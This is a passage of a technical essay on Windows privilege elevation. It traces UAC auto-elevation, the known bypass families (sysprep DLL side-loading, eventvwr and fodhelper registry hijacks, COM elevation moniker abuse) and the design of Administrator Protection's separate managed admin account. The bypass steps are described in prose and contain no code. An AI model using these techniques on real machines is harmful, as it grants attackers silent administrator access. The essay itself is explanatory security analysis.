&lt;li&gt;An internal whitelist of Microsoft-signed binaries living under &lt;code&gt;%SystemRoot%\System32&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;COM Elevation Moniker&lt;/strong&gt; -- already shipping in Vista (&lt;code&gt;BIND_OPTS3&lt;/code&gt;, syntax &lt;code&gt;Elevation:Administrator!new:&amp;lt;CLSID&amp;gt;&lt;/code&gt;) -- was the activation primitive. Windows 7 extended &lt;em&gt;implicit&lt;/em&gt; auto-elevation to qualifying COM servers whose registrations matched the new whitelist criteria, so callers such as &lt;code&gt;IFileOperation&lt;/code&gt;, &lt;code&gt;ICMLuaUtil&lt;/code&gt;, and &lt;code&gt;IColorDataProxy&lt;/code&gt; could be launched elevated without a consent prompt under the Win7 model [@russinovich-2009-win7, @uacme]. The dedicated registry-curation surface, the &lt;code&gt;COMAutoApprovalList&lt;/code&gt; (&lt;code&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList&lt;/code&gt;) that UACMe Method 49 references verbatim, did &lt;em&gt;not&lt;/em&gt; ship in Windows 7; it was introduced seven years later in Windows 10 RS1 (build 14393, August 2016) as a Redstone-1 hardening that replaced implicit COM auto-elevation with explicit list curation [@uacme].&lt;/li&gt;
&lt;li&gt;The default consent-prompt behaviour &lt;code&gt;ConsentPromptBehaviorAdmin = 5&lt;/code&gt;: prompt for consent for non-Windows binaries [@russinovich-2009-win7].&lt;/li&gt;
&lt;/ol&gt;

The Windows 7 mechanism by which selected Microsoft-signed binaries elevate without showing the consent prompt to a user who is a member of the local Administrators group. The Application Information service consults a whitelist of signature, path, and manifest attributes; if the binary qualifies, `appinfo.dll` calls `CreateProcessAsUser` with the linked full token and no UI step at all [@russinovich-2009-win7].

A COM activation syntax introduced in Windows Vista that lets an unelevated caller request an elevated instance of a COM server class. The `IBindCtx` is augmented with a `BIND_OPTS3` structure carrying a window handle to attribute the prompt to. The bind moniker `Elevation:Administrator!new:&amp;lt;CLSID&amp;gt;` causes the COM Service Control Manager to launch the server elevated. UACMe methods that target `IFileOperation`, `ICMLuaUtil`, and `IColorDataProxy` all descend from this mechanism [@russinovich-2009-win7, @uacme].
&lt;p&gt;Davidson&apos;s technique against the new whitelist is one paragraph of detail. Use the &lt;code&gt;IFileOperation&lt;/code&gt; COM elevation moniker, which itself auto-elevates, to write a planted &lt;code&gt;CRYPTBASE.DLL&lt;/code&gt; into &lt;code&gt;%SystemRoot%\System32\sysprep\&lt;/code&gt;. The path is a writable destination from the limited token because &lt;code&gt;IFileOperation&lt;/code&gt; runs elevated. Then launch &lt;code&gt;sysprep.exe&lt;/code&gt;, which is auto-elevated as a Microsoft-signed binary in System32. Sysprep loads &lt;code&gt;CRYPTBASE.DLL&lt;/code&gt; from its own directory before the system path. The attacker&apos;s DLL runs at High integrity in the elevated sysprep process [@davidson-2009, @uacme]. No prompt. The whitelist did the work.&lt;/p&gt;
&lt;p&gt;The bypass canon. Davidson&apos;s technique was the start, not the totality. The successors walked the same shape across families.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The DLL side-load family.&lt;/strong&gt; Sysprep was the canonical instance. Subsequent variants targeted &lt;code&gt;cliconfg.exe&lt;/code&gt;, &lt;code&gt;mcx2prov.exe&lt;/code&gt;, &lt;code&gt;migwiz.exe&lt;/code&gt;, and &lt;code&gt;setupsqm.exe&lt;/code&gt; -- each an auto-elevating Microsoft binary that loaded a DLL from a writable directory before consulting the system path. Microsoft removed the auto-elevation attribute from many of these binaries over the Windows 10 1709 cycle, but did so one binary at a time [@uacme].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The registry-hijack family.&lt;/strong&gt; Matt Nelson&apos;s August 2016 disclosure of an &lt;code&gt;eventvwr.exe&lt;/code&gt; plus &lt;code&gt;HKCU\Software\Classes\mscfile\shell\open\command&lt;/code&gt; bypass [@enigma0x3-2016-eventvwr] established the pattern. An auto-elevating binary consults &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; before &lt;code&gt;HKEY_CLASSES_ROOT&lt;/code&gt; for a value the binary trusts to dispatch a child process. The limited user, who owns &lt;code&gt;HKCU&lt;/code&gt;, writes whatever they want into the value. The elevated binary executes the attacker&apos;s command line. March 2017 produced &lt;code&gt;sdclt.exe&lt;/code&gt; plus App Paths [@enigma0x3-2017-app-paths] and &lt;code&gt;sdclt.exe&lt;/code&gt; plus &lt;code&gt;IsolatedCommand&lt;/code&gt; [@enigma0x3-2017-sdclt]; May 2017 produced the &lt;code&gt;fodhelper.exe&lt;/code&gt; plus &lt;code&gt;ms-settings&lt;/code&gt; variant [@uacme]. All fileless. All generalising to any auto-elevating binary that walks &lt;code&gt;HKCU&lt;/code&gt; before &lt;code&gt;HKCR&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The COM-elevation-moniker abuse family.&lt;/strong&gt; UACMe&apos;s Method 1 (Davidson&apos;s original &lt;code&gt;IFileOperation&lt;/code&gt;) ages into Methods 41 (&lt;code&gt;ICMLuaUtil&lt;/code&gt;, Oddvar Moe, via &lt;code&gt;ucmCMLuaUtilShellExecMethod&lt;/code&gt;) and 43 (&lt;code&gt;IColorDataProxy&lt;/code&gt; paired with &lt;code&gt;ICMLuaUtil&lt;/code&gt;, Oddvar Moe derivative, via &lt;code&gt;ucmDccwCOMMethod&lt;/code&gt;), each one a different COM interface that auto-elevates and exposes a method useful for arbitrary file or registry write [@uacme].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The environment-variable and path-poisoning family.&lt;/strong&gt; Per-process &lt;code&gt;%windir%&lt;/code&gt; or &lt;code&gt;%SystemRoot%&lt;/code&gt; redirection via registry shims and Image File Execution Options, redirecting auto-elevating binaries to load resources from attacker-controlled directories.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Windows 7 auto-elevation whitelist &lt;em&gt;was&lt;/em&gt; the bypass. The day Microsoft shipped a class of binaries that could elevate silently based on signing and path, the entire problem of UAC bypass reduced to &quot;make one of those binaries do something the attacker wants it to do.&quot; Every UACMe method that targets a Microsoft-signed binary in &lt;code&gt;System32&lt;/code&gt; descends from this design choice. The 81-method catalogue is not a list of separate vulnerabilities; it is one architectural mistake spreading through the binary inventory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Enter &lt;strong&gt;hfiref0x&apos;s UACMe&lt;/strong&gt; [@uacme]. The project has been on GitHub since 2014. It currently lists 81 named methods. Each entry pairs the method number with the author credit, the target binary, the technique class, and the &quot;Fixed in&quot; build number. The README, taken together, is the institutional memory of UAC&apos;s failure as a boundary. Forshaw&apos;s January 2026 framing is the operational summary: &quot;A good repository of known bypasses is the UACMe tool which currently lists 81 separate techniques for gaining administrator privileges&quot; [@forshaw-pz-jan2026].&lt;/p&gt;
&lt;p&gt;Microsoft chose to fix individual bypasses rather than redesign the model. The next section asks whether seven years of fixes ever caught up.&lt;/p&gt;
&lt;h2&gt;5. 2017-2024: incremental hardening, no convergence&lt;/h2&gt;
&lt;p&gt;The middle Windows 10 era was the moment Microsoft treated UAC bypasses as a quality problem and shipped fixes at quality-fix cadence, not security-bulletin cadence. The work was real, but it was always one binary or one interface at a time.&lt;/p&gt;
&lt;p&gt;The named milestones, kept short.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows 10 1709 (October 2017).&lt;/strong&gt; Beginning with this build, &lt;code&gt;IFileOperation&lt;/code&gt; auto-elevation for callers other than Explorer was restricted [@uacme]. The originating Davidson 2009 family of bypasses, against the sysprep + planted-CRYPTBASE shape, ceased to function for processes other than the shell itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tighter &lt;code&gt;appinfo.dll&lt;/code&gt; manifest parsing across multiple Windows 10 builds.&lt;/strong&gt; Stricter binary-signature checks. Stricter path checks. Stricter manifest checks. Each of these closed individual bypass methods; none of them closed a family.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Per-binary hardening recorded in UACMe&apos;s &quot;Fixed in&quot; column.&lt;/strong&gt; UACMe version 3.5.0 retired roughly eighty percent of the 2014-vintage catalogue as obsolete; the v3.2.x branch retains the full historical record. The project&apos;s README warns that &quot;since version 3.5.0, all previously &apos;fixed&apos; methods are considered obsolete and have been removed. If you need them, use v3.2.x branch&quot; [@uacme].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2019-1388 (November 2019; reporter: Eduardo Braun Prado via Trend Micro&apos;s Zero Day Initiative).&lt;/strong&gt; The lone departure from the &quot;UAC bypasses get no CVE&quot; rule. A UI-interaction path through &lt;code&gt;consent.exe&lt;/code&gt;&apos;s certificate-viewer dialog: an unsigned application could trigger consent.exe to display a certificate dialog whose &quot;View Certificate&quot; link launched Internet Explorer running as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;, and IE&apos;s File menu opened &lt;code&gt;cmd.exe&lt;/code&gt; at the same integrity level [@nvd-cve-2019-1388]. Microsoft fixed it on the November 2019 Patch Tuesday and gave it an LPE bulletin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2019-1388 was a &lt;em&gt;prompt-UI&lt;/em&gt; bug -- specifically, a crash-path that surfaced an IE process at SYSTEM integrity via the certificate viewer -- not a UAC-bypass bug in the categorical sense. The classification distinction matters: Microsoft did not change its position that UAC was not a boundary; the bulletin treated this as a separate UI defect that incidentally crossed the boundary. CISA later added the CVE to the Known Exploited Vulnerabilities Catalog [@nvd-cve-2019-1388].&lt;/p&gt;
&lt;p&gt;The accumulating evidence by 2024 was three observations.&lt;/p&gt;
&lt;p&gt;UACMe&apos;s catalogue has grown from its 2014 origins to 81 methods today [@uacme]. Each &lt;em&gt;family&lt;/em&gt; of attack survived the &lt;em&gt;individual&lt;/em&gt; fixes. As Davidson predicted in 2009, the auto-elevation whitelist was the structural problem; patching each whitelisted binary as a separate bug was a treadmill, not a convergence.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s own Security Servicing Criteria continued to classify UAC as a security feature, not a boundary, throughout the period [@msrc-servicing-criteria, @forshaw-pz-jan2026]. The decision was load-bearing. Fixing the elevation pipeline at &lt;em&gt;quality&lt;/em&gt; cadence meant accepting that bypasses would appear quarterly and would not appear in the Patch Tuesday bulletins until the day Microsoft changed its mind about the classification.&lt;/p&gt;
&lt;p&gt;The third piece of evidence is what the attackers were doing while the defenders were churning the binary list. Microsoft&apos;s own number, quoted by the Windows Developer Blog from the Microsoft Digital Defense Report 2024, is &lt;em&gt;39,000 token-theft incidents per day&lt;/em&gt; [@ms-developer-blog-2025]. A token, once stolen from an elevated process, requires no further bypass: it is a bearer credential good for the lifetime of the logon session. The same logon session is the one the unelevated user and the elevated process share under the split-token model. The &quot;one logon session&quot; property of UAC&apos;s design is the structural premise that token theft depends on.&lt;/p&gt;
&lt;p&gt;There is one further thread worth naming here. Forshaw&apos;s broader 2022 Kerberos work in the user-credential-delegation space is a thread that survives the elevation-redesign question entirely. The May 2022 &lt;em&gt;Exploiting RBCD using a normal user account&lt;/em&gt; post [@forshaw-2022-rbcd] is the representative artifact. Network-credential delegation primitives -- Resource-Based Constrained Delegation, User-to-User Kerberos, S4U2Self -- operate at a layer beneath token-level elevation, and survive even a perfect SMAA design because they do not run through the elevation path at all.&lt;/p&gt;
&lt;p&gt;Piecewise fixes never converged on a boundary. The question that drove the next five years of Microsoft work was the obvious one: if the issue is the shared-resource model itself, what is the smallest plausible change that fixes it?&lt;/p&gt;
&lt;h2&gt;6. The breakthrough: the System Managed Administrator Account&lt;/h2&gt;
&lt;p&gt;The load-bearing design decision is one sentence. Stop trying to make one user account play both roles. The elevated administrator should be a different account with a different SID, a different profile, a different &lt;code&gt;HKCU&lt;/code&gt;, a different logon session, and a different DOS device object directory -- and the operating system should manage that account itself.&lt;/p&gt;
&lt;p&gt;What is striking about the design is how prosaic the underlying mechanism is. Multi-user accounts have shipped with Windows NT since version 3.1 in 1993. The architecture for running an elevated process under a separate local user has been present in NT for thirty-three years. What changed is that Microsoft finally chose to &lt;em&gt;enforce&lt;/em&gt; the multi-user model for privilege separation, by making the operating system itself create and manage the second account, link it to the primary admin via paired Security Account Manager attributes, and use it for every elevation. The sophistication is in linkage, in lifecycle, and in &lt;em&gt;removing auto-elevation&lt;/em&gt;, not in any single new primitive.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The thing that changes between UAC and Administrator Protection is not the elevation &lt;em&gt;mechanism&lt;/em&gt; (a manifest, a prompt, a &lt;code&gt;CreateProcessAsUser&lt;/code&gt; call) but the elevation &lt;em&gt;classification&lt;/em&gt;. An elevation bypass used to be a quality bug. It is now a security-bulletin vulnerability. Every Administrator Protection design decision -- separate account, fresh logon session, removed auto-elevation, Hello-gated consent -- is a consequence of the classification change.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The names. Microsoft Learn&apos;s term is &lt;strong&gt;Administrator Protection&lt;/strong&gt; [@ms-admin-protection]. Microsoft&apos;s announcement material at Ignite 2024 and in the Insider Preview build 27718 post uses the same &quot;Administrator Protection&quot; label [@ms-insider-build-27718]; &lt;strong&gt;Adminless&lt;/strong&gt; is the community shorthand that stuck. The internal engineering term in &lt;code&gt;samsrv.dll&lt;/code&gt; (the Security Account Manager service DLL) is &lt;strong&gt;ShadowAdmin&lt;/strong&gt; [@call4cloud-osint]. The Windows Developer Blog&apos;s canonical term for the underlying entity is the &lt;strong&gt;System Managed Administrator Account (SMAA)&lt;/strong&gt; [@ms-developer-blog-2025].&lt;/p&gt;

The hidden local user account that Windows creates per primary administrator when the `TypeOfAdminApprovalMode` policy is set to 2. The SMAA has its own random user name (typically `ADMIN_`), its own SID, its own profile directory under `C:\Users\ADMIN_\`, its own `NTUSER.DAT` and therefore its own `HKCU`, and its own membership in the local Administrators group. The operating system uses it to host elevated processes; the user never logs into it directly [@ms-developer-blog-2025, @call4cloud-osint].
&lt;p&gt;The SMAA lifecycle. Four beats. Each anchored to a verified source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Provisioning.&lt;/strong&gt; When &lt;code&gt;TypeOfAdminApprovalMode = 2&lt;/code&gt; is set under &lt;code&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;/code&gt; (either by Group Policy or by the Intune Settings Catalog), &lt;code&gt;samsrv.dll&lt;/code&gt;&apos;s &lt;code&gt;ShadowAdminAccount::CreateShadowAdminAccount&lt;/code&gt; runs once per existing local-administrator account. &lt;code&gt;CreateRandomShadowAdminAccountName&lt;/code&gt; produces an &lt;code&gt;ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt; name. &lt;code&gt;AddAccountToLocalAdministratorsGroup&lt;/code&gt; adds the new account to the Administrators group. Accounts managed by Windows LAPS (Local Administrator Password Solution) are skipped; their lifecycle is owned by a different subsystem and Microsoft did not want the SMAA mechanism to fight LAPS rotation [@call4cloud-osint].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linking.&lt;/strong&gt; Two paired SAM attributes encode the trust relationship between the two accounts. The primary admin&apos;s user record gets a &lt;code&gt;ShadowAccountForwardLinkSid&lt;/code&gt; attribute pointing at the SMAA&apos;s SID. The SMAA&apos;s user record gets a &lt;code&gt;ShadowAccountBackLinkSid&lt;/code&gt; attribute pointing back at the primary admin. These two attributes are the only structural relationship between the two accounts; everything else -- profile, HKCU, group memberships -- is independent [@call4cloud-osint].&lt;/p&gt;

Two paired SAM-database attributes that encode the trust relationship between a primary admin user and its System Managed Administrator Account. The forward link sits on the primary admin&apos;s record and points at the SMAA&apos;s SID. The back link sits on the SMAA&apos;s record and points back at the primary admin. The Application Information service uses the forward link at elevation time to resolve which SMAA to launch the elevated process under [@call4cloud-osint].

The registry value under `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System` that selects the elevation policy. Value 0 disables UAC. Value 1 selects classic Admin Approval Mode (the Vista / Win7 / Win10 split-token behaviour). Value 2 selects Admin Approval Mode with Administrator Protection: every elevation routes through the SMAA path. The value is set by Group Policy (&quot;User Account Control: Configure type of Admin Approval Mode&quot;) or by an Intune Settings Catalog policy and requires a reboot to take effect [@ms-admin-protection, @call4cloud-osint].
&lt;p&gt;&lt;strong&gt;Per-elevation use.&lt;/strong&gt; &lt;code&gt;appinfo.dll&lt;/code&gt;&apos;s &lt;code&gt;RAiLaunchAdminProcess&lt;/code&gt; RPC endpoint reads &lt;code&gt;TypeOfAdminApprovalMode&lt;/code&gt;. When the value is 2, it walks the forward link to find the calling user&apos;s SMAA, launches &lt;code&gt;consent.exe&lt;/code&gt; on the secure desktop in &lt;em&gt;credential&lt;/em&gt; prompt mode (not Yes/No), authenticates the primary user via Windows Hello (PIN, fingerprint, face, or password fallback), asks the kernel to ask LSA for a fresh primary token for the SMAA in a brand-new logon session, and calls &lt;code&gt;CreateProcessAsUser&lt;/code&gt; with that token, the user&apos;s requested executable, and the SMAA&apos;s profile environment [@ms-developer-blog-2025, @ms-admin-protection, @forshaw-pz-jan2026]. The credential-less LSA logon at the heart of step three of this beat is walked in §7.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Teardown.&lt;/strong&gt; When the elevated process exits, the SMAA&apos;s token handle goes out of scope. The logon session is reaped. The elevated profile directory remains on disk at &lt;code&gt;C:\Users\ADMIN_&amp;lt;random&amp;gt;\&lt;/code&gt; -- it has to, to preserve per-elevation user state across reboots -- but the live admin token does not. There is no persistent High-integrity process running between elevations [@ms-developer-blog-2025].&lt;/p&gt;

flowchart TD
    Start[Policy enabled: TypeOfAdminApprovalMode = 2] --&amp;gt; Provision
    Provision[samsrv.dll: CreateShadowAdminAccount per local admin] --&amp;gt; Naming
    Naming[CreateRandomShadowAdminAccountName -&amp;gt; ADMIN_random] --&amp;gt; AddGroup
    AddGroup[AddAccountToLocalAdministratorsGroup] --&amp;gt; Link
    Link[SAM linkage: ShadowAccountForwardLinkSid /&lt;br /&gt;ShadowAccountBackLinkSid] --&amp;gt; Idle[SMAA exists, no token live]
    Idle --&amp;gt;|Each elevation| RPC[appinfo.dll: RAiLaunchAdminProcess]
    RPC --&amp;gt; Prompt[consent.exe: Hello credential prompt]
    Prompt --&amp;gt; LSA[Kernel asks LSA: credential-less logon for SMAA]
    LSA --&amp;gt; Run[CreateProcessAsUser with SMAA token]
    Run --&amp;gt;|Process exits| Teardown[Token handle released;&lt;br /&gt;logon session reaped]
    Teardown --&amp;gt; Idle

Windows creates a temporary isolated admin token to get the job done. This temporary token is immediately destroyed once the task is complete, ensuring that admin privileges do not persist. -- David Weston, Microsoft Ignite 2024 keynote, November 19, 2024 [@bleepingcomputer-2024]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The single design decision behind Administrator Protection: the elevated and unelevated halves of an administrator must be different accounts. Different SID, different profile, different &lt;code&gt;HKCU&lt;/code&gt;, different logon session, different DOS device object directory. The shared-resource attacks of the UAC bypass canon cannot persist if there are no shared resources.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The mechanism is now described. The next section walks it at function-name granularity for a single elevation, end to end -- and in particular, the credential-less LSA logon at step six that does the load-bearing work of minting the SMAA token without any SMAA credential.&lt;/p&gt;
&lt;h2&gt;7. The elevation pipeline end to end&lt;/h2&gt;
&lt;p&gt;Walk a single elevation. Nine steps.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The caller invokes &lt;code&gt;ShellExecute&lt;/code&gt; or &lt;code&gt;CreateProcess&lt;/code&gt; with an elevation request. For the shell-launched case the user right-clicks an executable and selects &quot;Run as administrator&quot;; the same RPC endpoint serves manifest-declared &lt;code&gt;requestedExecutionLevel = &quot;requireAdministrator&quot;&lt;/code&gt; callers and &lt;code&gt;Elevation:Administrator!new:&amp;lt;CLSID&amp;gt;&lt;/code&gt; COM moniker requests.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appinfo.dll&lt;/code&gt;&apos;s &lt;code&gt;RAiLaunchAdminProcess&lt;/code&gt; RPC endpoint, hosted inside the Application Information service in &lt;code&gt;svchost.exe&lt;/code&gt;, receives the call [@ms-uac-how-it-works].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appinfo&lt;/code&gt; reads &lt;code&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\TypeOfAdminApprovalMode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the value is 2 (Admin Approval Mode with Administrator Protection), &lt;code&gt;appinfo&lt;/code&gt; reads the calling user&apos;s SAM record, locates the &lt;code&gt;ShadowAccountForwardLinkSid&lt;/code&gt; attribute, and validates the corresponding &lt;code&gt;ShadowAccountBackLinkSid&lt;/code&gt; on the SMAA&apos;s SAM record. The linkage check is what binds a given elevated process to a given primary user; without both attributes pointing at each other, the elevation is refused [@call4cloud-osint].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appinfo&lt;/code&gt; launches &lt;code&gt;consent.exe&lt;/code&gt; on the secure desktop in &lt;em&gt;credential&lt;/em&gt; prompt mode rather than the classic Yes/No mode. The prompt asks the primary user to authenticate via Windows Hello (PIN, fingerprint, face, or password fallback), not the SMAA. The SMAA &lt;em&gt;has no human credentials&lt;/em&gt;. The Windows Developer Blog states the property explicitly [@ms-developer-blog-2025], and Forshaw&apos;s January 2026 post restates it in operational terms: &quot;The user does not need to know the credentials for the shadow administrator as there aren&apos;t any. Instead UAC can be configured to prompt for the limited user&apos;s credentials, including using biometrics if desired&quot; [@forshaw-pz-jan2026].&lt;/li&gt;
&lt;li&gt;On a positive Hello result, &lt;code&gt;appinfo.dll&lt;/code&gt; -- running as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; inside the Application Information service -- asks the kernel to ask LSA for a fresh primary access token for the SMAA&apos;s SID in a brand-new logon session. The LSA logon is &lt;em&gt;credential-less&lt;/em&gt;. The kernel asks LSA to authenticate &quot;a new instance of the shadow administrator,&quot; and LSA fulfils the request without any SMAA credential because the SMAA has no credential to verify. The trust architecture mirrors the way the Service Control Manager asks LSA for service-account tokens: SCM is trusted to ask for the token; LSA mints it on the strength of the &lt;em&gt;request&lt;/em&gt; rather than on the strength of any credential. In Administrator Protection, &lt;code&gt;appinfo.dll&lt;/code&gt; is the trusted requester, and its request is gated on the user-side Hello result it received in step 5. The Forshaw verbatim that anchors the mechanism is below this section [@forshaw-pz-jan2026, @ms-developer-blog-2025].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appinfo&lt;/code&gt; calls &lt;code&gt;CreateProcessAsUser&lt;/code&gt; with the SMAA token, the user&apos;s requested executable, and the SMAA&apos;s profile environment block (&lt;code&gt;USERPROFILE=C:\Users\ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt;, &lt;code&gt;USERNAME=ADMIN_&amp;lt;random&amp;gt;&lt;/code&gt;, the SMAA&apos;s &lt;code&gt;NTUSER.DAT&lt;/code&gt; mapped as &lt;code&gt;HKCU&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The new process loads at High integrity, holding the SMAA&apos;s primary token, in a fresh logon session with a freshly minted authentication-ID LUID. The DOS device directory at &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;LUID&amp;gt;&lt;/code&gt; does not yet exist; the kernel will create it on first reference.&lt;/li&gt;
&lt;li&gt;Subsequent &lt;code&gt;SeAccessCheck&lt;/code&gt; calls on system objects evaluate against the SMAA&apos;s local Administrators group membership and succeed. The elevated process can write to &lt;code&gt;HKLM&lt;/code&gt;, modify program files, install services, load WHQL-signed drivers (subject to App Control for Business and HVCI), and otherwise behave as a member of the Administrators group [@ms-developer-blog-2025].&lt;/li&gt;
&lt;/ol&gt;

The mechanism by which the Local Security Authority mints a primary access token for the SMAA without verifying any SMAA credential. `appinfo.dll`, running as `NT AUTHORITY\SYSTEM` inside the Application Information service, requests the logon on the SMAA&apos;s behalf after the primary user has succeeded against the Hello credential gate. LSA fulfils the request because the *requester* is trusted; the architecture mirrors the way the Service Control Manager requests service-account tokens. The &quot;credential-less&quot; label is descriptive of the SMAA side of the exchange: the SMAA never has a human credential to verify, so LSA cannot and does not ask for one [@forshaw-pz-jan2026, @ms-developer-blog-2025].
&lt;p&gt;The trust architecture is not new in Administrator Protection. The Service Control Manager has asked LSA for service-account tokens since Windows NT 3.1 in 1993; LSA accepts the request because SCM is the trusted requester, not because the service account presented a credential. Administrator Protection generalises the same pattern to elevation: &lt;code&gt;appinfo.dll&lt;/code&gt; is the trusted requester, and the SMAA is its functional analogue of a service account. What is new is the user-side gate -- the trusted requester only makes the request after a positive Hello result on the &lt;em&gt;primary user&apos;s&lt;/em&gt; credential.&lt;/p&gt;

in Administrator Protection the kernel calls into the LSA and authenticates a new instance of the shadow administrator. This results in every token returned from `TokenLinkedToken` having a unique logon session, and thus does not currently have the DOS device object directory created. -- James Forshaw, *Bypassing Windows Administrator Protection*, Google Project Zero, January 26, 2026 [@forshaw-pz-jan2026]
&lt;p&gt;The &quot;unique logon session&quot; property in Forshaw&apos;s quote is exactly the structural property the lazy-DOS-device-directory bypass exploits, and §12 walks that exploit in full. For now, the load-bearing observation is the credential-less logon itself: the SMAA token is real, the logon session is real, the integrity level is real, but no SMAA credential ever changes hands. The trust is in the requester, gated by a Hello gesture from the primary user.&lt;/p&gt;

sequenceDiagram
    participant User as User shell (primary admin filtered token)
    participant AppInfo as appinfo.dll (NT AUTHORITY\SYSTEM)
    participant SAM as samsrv.dll / SAM database
    participant Consent as consent.exe (secure desktop)
    participant Hello as Windows Hello / TPM
    participant LSA as LSASS
    participant Elev as Elevated SMAA process&lt;pre&gt;&lt;code&gt;User-&amp;gt;&amp;gt;AppInfo: ShellExecute &quot;as admin&quot;
AppInfo-&amp;gt;&amp;gt;AppInfo: RAiLaunchAdminProcess RPC
AppInfo-&amp;gt;&amp;gt;AppInfo: Read TypeOfAdminApprovalMode = 2
AppInfo-&amp;gt;&amp;gt;SAM: Resolve ShadowAccountForwardLinkSid
SAM--&amp;gt;&amp;gt;AppInfo: SMAA SID + backlink check OK
AppInfo-&amp;gt;&amp;gt;Consent: Launch consent.exe (credential mode)
Consent-&amp;gt;&amp;gt;Hello: Request Hello gesture for primary user
Hello--&amp;gt;&amp;gt;Consent: PIN / biometric / password verified
Consent--&amp;gt;&amp;gt;AppInfo: Approved
AppInfo-&amp;gt;&amp;gt;LSA: Credential-less logon for SMAA (trusted-requester pattern)
LSA--&amp;gt;&amp;gt;AppInfo: Fresh SMAA primary token and fresh LUID
AppInfo-&amp;gt;&amp;gt;Elev: CreateProcessAsUser with SMAA token and profile
Note over Elev: Different SID and USERPROFILE and HKCU and LUID
Note over Elev: Integrity level High -- DOS device dir not yet created
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A practical illustration of the shift, displayed as the diff between the pre-AP and post-AP elevated console session.&lt;/p&gt;
&lt;p&gt;{`
// Modelled output of &apos;whoami /all&apos; run from an elevated console.
// Before: TypeOfAdminApprovalMode = 1 (classic UAC).
// After:  TypeOfAdminApprovalMode = 2 (Administrator Protection).&lt;/p&gt;
&lt;p&gt;const before = {
  user: &apos;CONTOSO\\alice&apos;,
  sid: &apos;S-1-5-21-123456789-987654321-1122334455-1001&apos;,
  profile: &apos;C:\\Users\\alice&apos;,
  authId: &apos;0x3e7:0x000abcde&apos;,
  integrity: &apos;S-1-16-12288 (High)&apos;,
  groups: [&apos;BUILTIN\\Administrators (Enabled)&apos;]
};&lt;/p&gt;
&lt;p&gt;const after = {
  user: &apos;WIN11-PC\\ADMIN_9f2c7e1bdc4a8033&apos;,
  sid: &apos;S-1-5-21-123456789-987654321-1122334455-1051&apos;,
  profile: &apos;C:\\Users\\ADMIN_9f2c7e1bdc4a8033&apos;,
  authId: &apos;0x3e7:0x000abf42&apos;,
  integrity: &apos;S-1-16-12288 (High)&apos;,
  groups: [&apos;BUILTIN\\Administrators (Enabled)&apos;],
  shadowBacklink: &apos;CONTOSO\\alice&apos;
};&lt;/p&gt;
&lt;p&gt;console.log(&apos;Different user name:&apos;, before.user !== after.user);
console.log(&apos;Different SID:&apos;,       before.sid !== after.sid);
console.log(&apos;Different profile:&apos;,   before.profile !== after.profile);
console.log(&apos;Different LUID:&apos;,      before.authId !== after.authId);
console.log(&apos;Same integrity:&apos;,      before.integrity === after.integrity);
`}&lt;/p&gt;
&lt;p&gt;The pipeline is now a single chain of named function calls. The next section asks what &lt;em&gt;changed&lt;/em&gt; about the four shared-resource properties from §3, and which UAC-bypass family each fix forecloses.&lt;/p&gt;
&lt;h2&gt;8. The four shared-resources fixes, precisely&lt;/h2&gt;
&lt;p&gt;Each of the four shared resources from §3 maps to a precise Administrator Protection fix, and each fix maps to a named UAC-era attack class it forecloses.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Shared resource (UAC)&lt;/th&gt;
&lt;th&gt;Administrator Protection fix&lt;/th&gt;
&lt;th&gt;UAC-era attack class foreclosed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Same SID across both tokens&lt;/td&gt;
&lt;td&gt;SMAA has its own SID; no shared user identity&lt;/td&gt;
&lt;td&gt;Same-user file and registry ACE confusion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same &lt;code&gt;%USERPROFILE%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SMAA has &lt;code&gt;C:\Users\ADMIN_&amp;lt;random&amp;gt;\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DLL side-load family (sysprep / CRYPTBASE)&lt;/td&gt;
&lt;/tr&gt;
